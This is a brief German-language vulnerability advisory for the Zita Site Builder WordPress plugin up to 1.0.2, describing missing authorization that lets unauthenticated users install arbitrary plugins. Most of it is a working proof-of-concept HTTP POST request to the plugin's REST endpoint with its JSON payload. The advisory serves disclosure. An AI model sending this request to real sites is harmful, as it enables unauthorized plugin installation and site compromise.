
Zita Site Builder <= 1.0.2 - Fehlende Autorisierung zur beliebigen Plugin-Installation
Zita Site Builder <= 1.0.2 - Fehlende Autorisierung zur beliebigen Plugin-Installation
Das Zita Site Builder Plugin für WordPress ist anfällig für unbefugten Zugriff auf Funktionen aufgrund einer fehlenden Berechtigungsprüfung in einer seiner Funktionen in Versionen bis einschließlich 1.0.2. Dies ermöglicht es nicht authentifizierten Angreifern, beliebige Plugins zu installieren und zu aktivieren.
POST /wp-json/ai/v1/ai-site-builder HTTP/2
Host: wp-dev.ddev.site
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://wp-dev.ddev.site/wp-admin/admin.php?page=ai-site-builder&template=step
Content-Type: application/json
Content-Length: 245
Origin: https://wp-dev.ddev.site
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
{"params":{"templateType":"free","plugin":{"woocommerce":"Woocommerce"},"allPlugins":[{"woocommerce":"woocommerce/woocommerce.php"}],"builder":"th-shop-mania","themeSlug":"th-shop-mania","proThemePlugin":"hunk-companion","tmplFreePro":"plugin"}}
"\"https:\\\/\\\/wp-dev.ddev.site\""